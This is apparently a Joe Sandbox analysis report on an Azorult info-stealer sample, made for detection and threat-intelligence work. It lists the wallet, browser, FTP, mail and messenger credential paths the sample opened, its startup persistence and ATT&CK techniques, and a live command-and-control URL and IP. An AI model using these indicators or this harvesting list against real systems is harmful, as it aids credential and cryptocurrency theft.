Source: Yara match	File source: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 962Zrwh5bU.exe PID: 5256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: pdfviewer.exe PID: 5892, type: MEMORYSTR

Yara detected Azorult Info Stealer

Source: Yara match	File source: 4.2.962Zrwh5bU.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.962Zrwh5bU.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3296630648.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 962Zrwh5bU.exe PID: 2848, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 962Zrwh5bU.exe PID: 5256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: pdfviewer.exe PID: 5892, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 962Zrwh5bU.exe, 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets\
Source: 962Zrwh5bU.exe, 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets\
Source: 962Zrwh5bU.exe, 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: 962Zrwh5bU.exe, 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Exodus\
Source: 962Zrwh5bU.exe, 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: 962Zrwh5bU.exe, 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: 962Zrwh5bU.exe, 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Exodus\
Source: 962Zrwh5bU.exe, 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: powershell.exe, 00000002.00000002.2066076906.0000000007720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider
Source: 962Zrwh5bU.exe, 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Key opened: HKEY_CURRENT_USER\Software\monero-project\monero-core			Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

File opened: C:\Users\user\AppData\Roaming\filezilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File opened: C:\Users\user\AppData\Roaming\ElectrumG\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-btcp\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File opened: C:\Users\user\AppData\Roaming\Exodus Eden\	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File opened: C:\Users\user\AppData\Roaming\Jaxx\Local Storage\	Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Jump to behavior

Source: Yara match	File source: 4.2.962Zrwh5bU.exe.3f15f8a.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.962Zrwh5bU.exe.3e8884c.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.962Zrwh5bU.exe.3eaa839.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 962Zrwh5bU.exe PID: 5256, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	12 Registry Run Keys / Startup Folder	11 Process Injection	1 Deobfuscate/Decode Files or Information	2 Credentials in Registry	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	12 Registry Run Keys / Startup Folder	3 Obfuscated Files or Information	1 Credentials In Files	45 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	121 Security Software Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	41 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
962Zrwh5bU.exe	58%	Virustotal		Browse
962Zrwh5bU.exe	63%	ReversingLabs	ByteCode-MSIL.Trojan.AZORult

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-console-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-datetime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-debug-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-errorhandling-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-file-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-interlocked-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-libraryloader-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-localization-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-memory-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-namedpipe-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-processenvironment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-processthreads-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-processthreads-l1-1-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-profile-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-rtlsupport-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-synch-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-synch-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-sysinfo-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-timezone-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-util-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-conio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-convert-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-environment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-filesystem-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-locale-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-math-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-multibyte-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-private-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-process-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-runtime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-stdio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-time-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-utility-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\freebl3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\mozglue.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\nss3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\nssdbm3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\softokn3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\ucrtbase.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8047D2AF\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	63%	ReversingLabs	ByteCode-MSIL.Trojan.AZORult

Source	Detection	Scanner	Label
http://ls14.icu/HK341/index.phpMe-	0%	Avira URL Cloud	safe
http://ls14.icu/	0%	Avira URL Cloud	safe
http://ls14.icu/HK341/index.php3d	0%	Avira URL Cloud	safe
https://dotbit.me/a/	0%	Avira URL Cloud	safe
http://ls14.icu/HK341/index.php	100%	Avira URL Cloud	malware
http://crl.microsoftm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ls14.icu	104.21.75.48	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ls14.icu/HK341/index.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2062569151.00000000058E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2213129342.0000000006027000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.4.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000A.00000002.2197851801.0000000005112000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft	powershell.exe, 00000002.00000002.2064957107.000000000736C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000A.00000002.2197851801.0000000005112000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ls14.icu/HK341/index.phpMe-	pdfviewer.exe, 0000000C.00000002.2208565178.00000000014D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	false		high
http://ip-api.com/json	962Zrwh5bU.exe, 962Zrwh5bU.exe, 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, pdfviewer.exe, 00000009.00000002.3296493750.00000000037D7000.00000004.00000800.00020000.00000000.sdmp, pdfviewer.exe, 00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000A.00000002.2213129342.0000000006027000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.mozilla.com0	962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	false		high
https://contoso.com/Icon	powershell.exe, 0000000A.00000002.2213129342.0000000006027000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dotbit.me/a/	962Zrwh5bU.exe, 962Zrwh5bU.exe, 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, pdfviewer.exe, 00000009.00000002.3296493750.00000000037D5000.00000004.00000800.00020000.00000000.sdmp, pdfviewer.exe, 00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000005.00000002.3281103371.000001A7D0A0F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000005.00000003.2059462187.000001A7D0860000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	false		high
http://ls14.icu/HK341/index.php3d	pdfviewer.exe, 0000000C.00000002.2208565178.00000000014D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microsoftm	powershell.exe, 0000000A.00000002.2186630125.00000000031D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000A.00000002.2197851801.0000000005112000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod/C:	edb.log.5.dr	false		high
http://ls14.icu/	pdfviewer.exe, 0000000C.00000002.2208565178.00000000014D7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000002.00000002.2059541545.0000000004881000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2197851801.0000000004FC1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000A.00000002.2213129342.0000000006027000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2062569151.00000000058E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2213129342.0000000006027000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2059541545.0000000004881000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2197851801.0000000004FC1000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.75.48	ls14.icu	United States		13335	CLOUDFLARENETUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588896
Start date and time:	2025-01-11 06:50:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	962Zrwh5bU.exe renamed because original name is a hash value
Original Sample Name:	cb6d55ec949fd1539f519fe227ae3e9968220b7691420d78d225236618f39f0a.exe
Detection:	MAL
Classification:	mal100.spre.phis.troj.adwa.spyw.evad.winEXE@18/60@1/2
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 100% Number of executed functions: 120 Number of non-executed functions: 41
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 13.107.246.45, 4.245.163.56, 4.175.87.197
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 2944 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6188 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:50:52	API Interceptor	9x Sleep call for process: powershell.exe modified
00:50:53	API Interceptor	2x Sleep call for process: svchost.exe modified
06:50:56	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.75.48	jd4t3R7hOq.exe	Get hash	malicious	Azorult	Browse	ls14.icu/HK341/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ls14.icu	jd4t3R7hOq.exe	Get hash	malicious	Azorult	Browse	104.21.75.48

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	3qr7JBuNuX.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	https://mrohailkhan.com/energyaustralia/auth/auhs1/	Get hash	malicious	Unknown	Browse	172.64.155.59
	3.elf	Get hash	malicious	Unknown	Browse	1.1.1.1
	prgNb8YFEA.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	wSoShbuXnJ.exe	Get hash	malicious	FormBook	Browse	104.21.86.111
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	162.159.61.3
	rlPy5vt1Dg.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-datetime-l1-1-0.dll	jd4t3R7hOq.exe	Get hash	malicious	Azorult	Browse
	3861227PDF.exe	Get hash	malicious	AZORult	Browse
	WC10SCPMaX.exe	Get hash	malicious	Azorult, GuLoader	Browse
	7000091945.xlsx.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Dekont#400577_89008_96634.exe	Get hash	malicious	Azorult, GuLoader	Browse
	No. 1349240400713.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Payment.cmd	Get hash	malicious	Azorult, DBatLoader	Browse
	Order160311_Reference.hta	Get hash	malicious	Azorult	Browse
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-console-l1-1-0.dll	jd4t3R7hOq.exe	Get hash	malicious	Azorult	Browse
	3861227PDF.exe	Get hash	malicious	AZORult	Browse
	WC10SCPMaX.exe	Get hash	malicious	Azorult, GuLoader	Browse
	7000091945.xlsx.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Dekont#400577_89008_96634.exe	Get hash	malicious	Azorult, GuLoader	Browse
	No. 1349240400713.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Payment.cmd	Get hash	malicious	Azorult, DBatLoader	Browse
	Order160311_Reference.hta	Get hash	malicious	Azorult	Browse
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8306916747024676
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugK:gJjJGtpTq2yv1AuNZRY3diu8iBVqFw
MD5:	A4F3A19D195C6F4D1A8F3471FD55F5E5
SHA1:	3D91688FB1371C04396698EB3B2AEF7A80F4F1D9
SHA-256:	5AB2A46BF6E428024D0D55FBEAC66B1E5FECE056116116B21E7E83BDBDEBB351
SHA-512:	1FF5A84932F51A54208964A6CBE78FE46C5932610C02572291CADD9B02BBEAED9E02C55BB99CB8E7FF3F6799337C1370F3D9061DC8A22A8343C286BF08584223
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x40b18dee, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585421041583129
Encrypted:	false
SSDEEP:	1536:rv9SB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/T:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	A16B2FC4ED160E068B702E2F62DCD25E
SHA1:	47B8C690109FA3DCB83608ACE0E68DD10FF15583
SHA-256:	60EF719B89AEE09506EC6E14654B31ED948FDAC4923B82D778DF9D78BC0697EF
SHA-512:	1A8D4CAF6C599A6A1A0B0D9BA6A9FE4773692B857D6B6F2D893DB010DD9189EA7D3EA8DB6E5A423DE9F9846E36899945993A9F57B7C0EC28D2C3BEC91984E6C9
Malicious:	false
Preview:	@...... ...............X\...;...{......................0.z..........{..62...}[.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{......................................62...}[.....................62...}[..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08006903696120285
Encrypted:	false
SSDEEP:	3:hUkEYekw/WkGuAJkhvekl1qAY+vallrekGltll/SPj:WznFrxlY+2Je3l
MD5:	EB9179044CDD2D0DB8D7B7A1E9DF4EEA
SHA1:	2EBED2CAB23EF4E7846F7898AEDF453EB75A0955
